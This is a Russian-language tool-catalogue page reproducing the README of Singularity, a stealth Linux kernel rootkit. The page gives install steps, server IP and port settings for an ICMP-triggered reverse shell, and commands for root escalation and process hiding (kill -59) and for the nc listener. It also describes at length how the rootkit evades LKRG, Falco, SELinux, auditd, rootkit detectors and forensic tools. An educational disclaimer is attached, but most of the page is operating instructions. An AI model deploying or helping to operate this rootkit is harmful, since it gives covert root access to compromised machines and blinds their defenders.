Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Singularity — Стелс-руткит для ядра Linux, предназначенный для современных ядер (6.x) | Kitploit
Инструменты/GitHubGitHub/matheuzsecurity/singularity
Повышение привилегий
GitHubmatheuzsecurity/singularity

Singularity

Стелс-руткит для ядра Linux, предназначенный для современных ядер (6.x)

Репозиторий
1.7k19063 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Singularity - Скрытный руткит для ядра Linux

Руткит Singularity

"Не пора ли немного поработать с форензикой?"

Этот проект был вдохновлён очень важной для меня женщиной: Mocinha

Singularity — это мощный руткит на основе модуля ядра Linux (LKM), предназначенный для современных ядер 6.x. Он предоставляет комплексные возможности скрытности благодаря продвинутому перехвату системных вызовов через инфраструктуру ftrace.

Полная исследовательская статья (устаревшая версия): Singularity: A Final Boss Linux Kernel Rootkit

Пример обхода EDR: Bypassing Elastic EDR with Singularity

POC-видео: Singularity против eBPF security tools: Singularity vs eBPF security tools

Взлом eBPF-безопасности с помощью хуков Singularity: Breaking eBPF

Что такое Singularity?

Singularity — это сложный руткит, работающий на уровне ядра и предоставляющий:

  • Скрытие процессов: Делает любой процесс полностью невидимым для системы
  • Скрытие файлов и каталогов: Скрывает файлы с помощью сопоставления по шаблону
  • Сетевая скрытность: Скрывает TCP/UDP-соединения, порты и записи conntrack
  • Повышение привилегий: Мгновенный доступ root по сигналу
  • Очистка журналов: Фильтрация логов ядра и системных журналов в реальном времени
  • Самосокрытие: Удаляет себя из списков модулей и системного мониторинга
  • Удаленный доступ: Обратный шелл, активируемый ICMP-пакетом, с автоматическим скрытием
  • Антиобнаружение: Обходит средства безопасности времени выполнения на основе eBPF (Falco, Tracee), обходит Linux Kernel Runtime Guard (LKRG) и предотвращает попытки обхода io_uring
  • Обход аудита: Отбрасывает сообщения аудита для скрытых процессов на уровне netlink с отслеживанием статистики и фильтрацией индексных дескрипторов сокетов
  • Обход судебно-медицинского анализа памяти: Фильтрует /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
  • Фильтрация cgroup: Фильтрует скрытые PID из cgroup.procs
  • Обход syslog: Перехватывает do_syslog для фильтрации доступа к кольцевому буферу ядра через klogctl()
  • Обход debugfs: Фильтрует вывод таких инструментов, как debugfs, которые читают сырые блочные устройства
  • Фильтрация conntrack: Скрывает соединения из /proc/net/nf_conntrack и запросов netlink SOCK_DIAG/NETFILTER
  • Обход SELinux: Автоматический обход принудительного режима SELinux при ICMP-триггере
  • Обход LKRG: Обходит механизмы обнаружения Linux Kernel Runtime Guard
  • Обход eBPF-безопасности: Скрывает процессы от средств безопасности времени выполнения на основе eBPF (Falco, Tracee)

Возможности

  • Повышение привилегий по сигналу (kill -59)
  • Полное скрытие процессов из /proc и инструментов мониторинга
  • Скрытие файлов и каталогов в файловой системе на основе шаблонов
  • Скрытие сетевых соединений от netstat, ss, conntrack и анализаторов пакетов
  • Продвинутая фильтрация netlink (SOCK_DIAG, NETFILTER/сообщения conntrack)
  • Фильтрация логов ядра в реальном времени для dmesg, journalctl и klogctl
  • Самосокрытие модуля от lsmod и /sys/module
  • Автоматическая нормализация флага испорченности ядра
  • Фильтрация данных BPF для предотвращения обнаружения на основе eBPF
  • Защита io_uring от обхода асинхронного ввода-вывода
  • Маскирование логов для сообщений ядра и системных журналов
  • Обход стандартных детекторов руткитов (unhide, chkrootkit, rkhunter)
  • Автоматическое отслеживание и скрытие дочерних процессов через перехватчики tracepoint
  • Поддержка нескольких архитектур (x64 + ia32)
  • Фильтрация на уровне сетевых пакетов с защитой сырых сокетов
  • Защита от всех вариантов файлового ввода-вывода (read, write, splice, sendfile, tee, copy_file_range)
  • Фильтрация сообщений аудита на уровне netlink с отслеживанием статистики для обхода detection auditd
  • Отслеживание индексных дескрипторов сокетов для полного скрытия сети
  • Фильтрация PID cgroup для предотвращения обнаружения через /sys/fs/cgroup/*/cgroup.procs
  • Блокировка netlink TaskStats для предотвращения перечисления PID
  • Фильтрация /proc/kcore для обхода инструментов форензики памяти (Volatility, crash, gdb)
  • Перехват do_syslog для фильтрации klogctl() и предотвращения утечек кольцевого буфера ядра
  • Фильтрация вывода блочных устройств для обхода debugfs и аналогичных инструментов дискового анализа
  • Фильтрация вывода journalctl -k через перехватчик записи
  • Возможность обхода принудительного режима SELinux для шеллов, активируемых ICMP
  • Обход проверок целостности LKRG для скрытых процессов
  • Скрытие событий Falco через кольцевой буфер BPF и перехват событий perf

Установка

Предварительные требования

  • Ядро Linux 6.x
  • Заголовочные файлы ядра для вашего работающего ядра
  • GCC и Make
  • Доступ root

Быстрая установка```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

root@kitploit:~
Вот и всё. Модуль автоматически:
- Скрывает себя из lsmod, /proc/modules, /sys/module
- Очищает флаги тайтлинга ядра
- Фильтрует конфиденциальные строки из dmesg, journalctl -k, klogctl
- Начинает защищать ваши скрытые файлы и процессы

### Важные примечания

**Модуль автоматически скрывает себя после загрузки**

**Функция выгрузки отсутствует – для удаления требуется перезагрузка**

**Сначала тестируйте в ВМ – без перезагрузки удалить невозможно**

## Конфигурация

### Укажите IP-адрес и порт вашего сервера

**Отредактируйте `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

Редактировать modules/icmp.c:```c #define SRV_PORT "8081" // Change this to your desired port

root@kitploit:~
**Редактировать `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

Редактирование modules/hiding_tcp.c:```c #define PORT 8081 // Must match SRV_PORT

root@kitploit:~
**Важно**: Все определения портов должны совпадать для правильного скрытия сети и функциональности обратного ICMP-шелла.

## Использование

### Скрытие процессов```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

Процесс будет невидим для ps, top, htop, /proc и всех инструментов мониторинга. Все дочерние процессы автоматически отслеживаются и скрываются.

Скрытие файлов и каталогов

Файлы, соответствующие настроенным шаблонам, автоматически скрываются:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

root@kitploit:~
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### Стать root

**Сигнальный метод:**```bash
kill -59 $$
id  # uid=0(root)

Скрыть сетевые подключения

Подключения на настроенном вами порту (по умолчанию: 8081) автоматически скрываются:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

root@kitploit:~
Пакеты отбрасываются на уровне raw-сокетов (tpacket_rcv) и скрываются от:
- /proc/net/* интерфейсов (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink запросов SOCK_DIAG (используются ss, lsof)
- Netlink сообщений NETFILTER/conntrack (используются утилитой conntrack)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### ICMP Reverse Shell

Удаленный запуск скрытой reverse shell с автоматическим обходом SELinux:

**1. Запуск слушателя:**```bash
nc -lvnp 8081  # Use your configured port

2. Отправка ICMP-триггера:```bash sudo python3 scripts/trigger.py <target_ip>

root@kitploit:~
**3. Получить root-оболочку** (автоматически скрыта со всеми дочерними процессами, режим принудительного применения SELinux обойден, если активен)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## Механизмы защиты

### Защита управления Ftrace

Все попытки отключить ftrace молча перехватываются и блокируются:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

Защищённые системные вызовы: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (с интеллектуальным кэшированием по PID)

Фильтрация системных вызовов BPF

Модуль bpf_hook.c реализует сложную систему антидетекта против инструментов безопасности на основе eBPF. Вместо полного блокирования системных вызовов BPF (что само по себе было бы детектируемым признаком), он выборочно фильтрует данные на уровне ядра, делая скрытые процессы и соединения невидимыми для eBPF-программ.

Стратегия: Перехватывать функции сбора данных и отчётов, используемые eBPF-программами, а не сам системный вызов BPF. Это позволяет легитимным eBPF-инструментам работать нормально, одновременно не давая им видеть скрытые ресурсы.

Защищённые ресурсы:

  • Скрытые процессы и всё их дерево процессов (до 10 родительских уровней)
  • Сетевые соединения на настроенном порту (по умолчанию: 8081) или на настроенный IP-адрес
  • Иноды сокетов, связанные со скрытыми процессами

Точки перехвата:

  • Выполнение итераторов (перечисление процессов/сокетов)
  • Операции с кольцевыми буферами (отправка событий в userspace)
  • Операции с BPF-картами (поиск и вставка PID)
  • Вывод событий Perf (устаревшая доставка событий eBPF)
  • Запись в seq-файлы (форматирование вывода)
  • Выполнение программ (контекстная фильтрация)

Такой подход позволяет обезвредить инструменты безопасности на основе eBPF, не вызывая срабатывания сигналов тревоги, которые последовали бы при полной блокировке операций BPF.

Защита io_uring

Защита от попыток обхода io_uring в ftrace_enabled и tracing_on с интеллектуальным кэшированием (кэш 1 секунда на PID для предотвращения повторного сканирования процессов и снижения нагрузки)

Очистка журналов

Фильтрация конфиденциальных строк в реальном времени из всех интерфейсов журналов ядра:

Фильтруемые ключевые слова: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove

Примечание: Сообщения аудита для скрытых PID отбрасываются на уровне netlink с отслеживанием статистики (get_blocked_audit_count, get_total_audit_count)

Обход дискового криминалистического анализа

Singularity перехватывает системный вызов write, чтобы обнаруживать и фильтровать вывод инструментов дискового криминалистического анализа:

Как это работает:

  1. Определяет, открыло ли устройство блочного устройства (/dev/sda, /dev/nvme0n1 и т.д.)
  2. Определяет шаблоны вывода типа debugfs (списки инодов, метаданные файловой системы)
  3. Заменяет скрытые шаблоны на месте (заменяет пробелами для сохранения размера буфера/контрольных сумм)```bash

Hidden files are invisible even to raw disk analysis

debugfs /dev/sda3 -R 'ls -l /home/user/singularity'

(spaces where "singularity" was)

The pattern is sanitized in the output buffer

Checksums remain valid, no corruption

root@kitploit:~
**Обнаруженные шаблоны:**
- Префикс `debugfs:`
- Списки инодов в скобках
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`

### Реализация скрытия процессов

Полное скрытие от системных вызовов и интерфейсов ядра:
- /proc/[pid]/* (блокировка openat, readlinkat)
- getdents, getdents64 (фильтрация списка каталогов)
- stat, lstat, statx, newfstatat (скрытие метаданных)
- kill с сигналом 0 (возвращает ESRCH)
- getsid, getpgid, getpgrp (возвращает ESRCH)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (возвращает ESRCH)
- getpriority (возвращает ESRCH)
- sysinfo (корректировка количества процессов)
- pidfd_open (возвращает ESRCH)
- запросы TaskStats через netlink (возвращает ESRCH)
- PID из cgroup отфильтрованы из cgroup.procs

Дочерние процессы автоматически отслеживаются через перехватчик tracepoint sched_process_fork.

### Обход LKRG

Singularity реализует комплексное противодействие Linux Kernel Runtime Guard:

**Обойдённые проверки:**
- Проверка учётных данных процесса (p_cmp_creds)
- Целостность структуры задачи (p_cmp_tasks)
- Валидация контроля целостности потока управления (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- Проверки целостности ядра (p_check_integrity)
- Подсистема обнаружения эксплойтов (p_exploit_detection_init)
- Отслеживание пользовательских помощников (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- Дамп и перечисление задач (p_dump_task_f, ed_task_add)
- Перехват обработчика kprobe ftrace

**Возможности:**
- Автоматическое обнаружение LKRG и установка перехватчиков
- Верификация родословной процессов (скрытие целых деревьев процессов глубиной до 64 уровней)
- Обход UMH для операций с обратной оболочкой
- Система уведомлений модуля для обнаружения загрузки LKRG

Скрытые процессы невидимы для всех механизмов проверки целостности LKRG.

### Обход Falco

Singularity реализует комплексную систему защиты от EDR, предотвращающую обнаружение скрытых процессов и сетевых соединений инструментами безопасности на основе eBPF. Защита работает путём перехвата функций ядра, используемых eBPF-программами для сбора и отчёта данных.

**Защита от:**
- Falco (мониторинг безопасности на основе событий)
- Tracee (трассировка безопасности)
- bpftool и ss с бэкендом BPF

**Многоуровневый перехват:**

1. **Фильтрация итераторов** (bpf_iter_run_prog)
   - Фильтрует сокеты на скрытом порту из итераторов TCP/UDP
   - Скрывает процессы и их дочерние процессы от итераторов задач
   - Предотвращает обнаружение через `ss` и инструменты перечисления процессов

2. **Блокировка событий кольцевого буфера** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
   - Обнаруживает структуры событий Falco путём анализа формата заголовка
   - Блокирует выделение, отправку и вывод событий для скрытых PID
   - Предотвращает попадание событий системных вызовов в пользовательский агент Falco

3. **Манипуляция картами BPF** (bpf_map_lookup_elem, bpf_map_update_elem)
   - Возвращает NULL, когда eBPF ищет скрытые PID в картах
   - Молча отбрасывает вставки в карту, где ключ — скрытый PID
   - Предотвращает отслеживание скрытых процессов инструментами безопасности eBPF

4. **Подавление событий perf** (perf_event_output, perf_trace_run_bpf_submit)
   - Блокирует отправку событий perf от скрытых процессов
   - Предотвращает получение данных трассировки устаревшими инструментами eBPF

5. **Фильтрация seq-файлов** (bpf_seq_write, bpf_seq_printf)
   - Сканирует выходные данные на наличие скрытых PID перед записью
   - Предотвращает утечку через интерфейсы /proc, используемые итераторами eBPF

6. **Контроль выполнения программ** (__bpf_prog_run)
   - Блокирует выполнение eBPF-программ в контексте скрытого процесса
   - Предотвращает любой мониторинг внутренностей скрытого процесса на основе eBPF

**Скрытие сокетов и соединений:**
- Кэширует скрытый IP-адрес для производительности
- Фильтрует сокеты на основе настроенного порта и настроенного IP
- Скрывает как IPv4-, так и IPv6-соединения
- Работает на уровне итератора (до того, как данные достигнут eBPF-программ)

**Отслеживание родословной процессов:**
- Прослеживает цепочку родительских процессов до 10 уровней глубины
- Автоматически скрывает всех потомков скрытых процессов
- Гарантирует, что дочерние процессы, порождённые после скрытия, остаются невидимыми

Скрытые процессы и соединения не генерируют событий, видимых инструментам безопасности eBPF.

## Обойдённые инструменты безопасности

**Мониторинг процессов**: ps, top, htop, atop, pidof

**Файловая система**: ls, find, locate, stat, lstat, readlink, tree

**Криминалистика дисков**: debugfs, e2fsck (вывод фильтруется через перехватчик записи)

**Криминалистика памяти**: Volatility, crash, gdb (через фильтрацию /proc/kcore)

**Сеть**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*

**Журналы и трассировки**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf

**Детекторы руткитов**: unhide, chkrootkit, rkhunter, OSSEC

**Обнаружение модулей**: lsmod, modinfo, /sys/module, /proc/modules, kmod

**Безопасность ядра**: LKRG (Linux Kernel Runtime Guard)

**Инструменты безопасности eBPF**:
- Falco (мониторинг безопасности времени выполнения)
- Tracee (трассировка безопасности)
- bpftrace, bpftool (при использовании для мониторинга)

**EDR/мониторинг**: мониторы на основе io_uring, некоторые решения EDR для Linux, auditd

## Перехваты системных вызовов

| Системный вызов/функция | Модуль | Назначение |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | Фильтрация записей каталогов, скрытие PID |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Скрытие метаданных файлов, корректировка nlink |
| getpriority | hiding_stat.c | Скрытие запросов приоритета для скрытых PID |
| openat | open.c | Блокировка доступа к скрытому /proc/[pid] |
| readlinkat | hiding_readlink.c | Блокировка разрешения симлинков |
| chdir | hiding_chdir.c | Предотвращение cd в скрытые каталоги |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Фильтрация журналов ядра, kcore, kallsyms, PID cgroup, nf_conntrack |
| do_syslog | clear_taint_dmesg.c | Фильтрация кольцевого буфера ядра через klogctl()/syslog() |
| sched_debug_show | clear_taint_dmesg.c | Фильтрация отладочного вывода планировщика |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Блокировка управления ftrace + фильтрация криминалистики дисков + фильтрация вывода journalctl |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Блокировка копирования файлов в защищённые файлы |
| splice, vmsplice, tee | hooks_write.c | Блокировка конвейерной записи в защищённые файлы |
| io_uring_enter | hooks_write.c | Блокировка обхода асинхронного ввода-вывода с кэшированием PID |
| kill | become_root.c | Триггер рута + скрытие процессов |
| getsid, getpgid, getpgrp | become_root.c | Возвращает ESRCH для скрытых PID |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Возвращает ESRCH для скрытых PID |
| sysinfo | become_root.c | Корректировка количества процессов |
| pidfd_open | become_root.c | Возвращает ESRCH для скрытых PID |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Скрытие TCP-соединений из /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | Скрытие UDP-соединений из /proc/net |
| tpacket_rcv | hiding_tcp.c | Отбрасывание пакетов на уровне сырых сокетов |
| recvmsg, recvfrom | audit.c | Фильтрация сообщений netlink SOCK_DIAG и NETFILTER |
| netlink_unicast | audit.c | Отбрасывание аудитных сообщений для скрытых PID |
| audit_log_start | audit.c | Блокировка создания аудитных журналов для скрытых процессов |
| bpf | bpf_hook.c | Фильтрация операций eBPF для скрытых PID |
| bpf_iter_run_prog | bpf_hook.c | Скрытие скрытых процессов от итераторов BPF |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | Фильтрация вывода seq-файлов BPF |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Фильтрация событий Falco через кольцевой буфер |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Фильтрация операций с картами BPF |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Фильтрация событий perf для скрытых процессов |
| __bpf_prog_run | bpf_hook.c | Фильтрация выполнения программ BPF |
| icmp_rcv | icmp.c | ICMP-триггерная обратная оболочка с обходом SELinux |
| taskstats_user_cmd | task.c | Блокировка запросов TaskStats для скрытых PID |
| sched_process_fork (tracepoint) | trace.c | Отслеживание дочерних процессов |
| kprobe_ftrace_handler | lkrg_bypass.c | Обход обнаружения kprobe в LKRG |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Обход проверок учётных данных LKRG |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Обход валидации CFI в LKRG |
| p_check_integrity | lkrg_bypass.c | Обход проверок целостности LKRG |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Скрытие от перечисления задач LKRG |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Обход отслеживания UMH в LKRG |
| p_exploit_detection_init | lkrg_bypass.c | Обход обнаружения эксплойтов LKRG |
| tainted_mask (kthread) | reset_tainted.c | Очистка флагов taint ядра |
| module_hide_current | hide_module.c | Удаление из списков модулей и sysfs |

**Поддержка нескольких архитектур**: x86_64 (`__x64_sys_*`) и ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)

## Протестированные версии ядра

| Версия ядра | Дистрибутив | Статус | Примечания |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Стабильно | Основная среда разработки |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Стабильно | Ядро на основе RHEL |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Стабильно | Ядро Debian |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Стабильно | Обход принудительного SELinux подтверждён |
| 6.17.0-8-generic | Ubuntu 25.10 | Стабильно | Новое типовое ядро, полная функциональность |
| 6.14.0-37-generic | Ubuntu 24.04 | Стабильно | Обход LKRG и Falco подтверждён |
| 6.12.25-amd64 | Kali Linux | Стабильно | Kali 6.12.25-1kali1 |

## Сюжет

К сожалению для некоторых...

Даже со всеми этими фильтрами, защитами и перехватами всё ещё есть способы обнаружить этот руткит.

Но если вы хороший криминалист, специалист по DFIR или исследователь вредоносного ПО, я позволю вам разобраться самостоятельно.

Я не буду это исправлять, потому что так будет гораздо ОП ;)

## Благодарности

**Singularity** создан **MatheuZSecurity** (Matheus Alves)

- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`

**Присоединяйтесь к исследователям руткитов**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)

### Ссылки на код

- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)

### Вдохновение для исследований

- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)

## Участие

- Отправляйте pull request'ы для улучшений
- Сообщайте об ошибках через GitHub issues
- Предлагайте новые техники обхода
- Делитесь методами обнаружения (в исследовательских целях)

**Нашли ошибку?** Откройте issue или свяжитесь со мной в Discord: `kprobe`

**ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И ИССЛЕДОВАТЕЛЬСКИХ ЦЕЛЕЙ**

Singularity создан как исследовательский проект для изучения границ техник стелс на уровне ядра. Цель — ответить на один вопрос: **«Насколько далеко может спрятаться руткит, если ему удастся проникнуть и загрузиться в систему?»**

Этот проект существует для того, чтобы:
- Раздвинуть границы исследований в области наступательной безопасности
- Помочь защитникам понять, с чем они могут столкнуться
- Предоставить учебный ресурс по внутренностям ядра и техникам обхода
- Внести вклад в базу знаний сообщества безопасности

**Я не несу ответственности за любое неправомерное использование этого программного обеспечения.** Если вы решите использовать Singularity в злонамеренных целях, это ваша ответственность. Этот инструмент предоставляется как есть только для исследований, обучения и авторизованного тестирования безопасности.

Тестируйте только на системах, которые вам принадлежат, или на которые у вас есть явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций.

**Будьте исследователем, а не преступником.**
Скачать инструмент
ИнтерфейсХукСтатус
dmesgхук чтения /proc/kmsgОтфильтровано
journalctl -kхук записи (фильтрация вывода)Отфильтровано
klogctl() / syslog()хук do_syslogОтфильтровано
/sys/kernel/debug/tracing/*хук чтенияОтфильтровано
/var/log/kern.log, syslog, auth.logхук чтенияОтфильтровано
/proc/kallsyms, /proc/kcore, /proc/vmallocinfoхук чтенияОтфильтровано
/proc/net/nf_conntrackхук чтенияОтфильтровано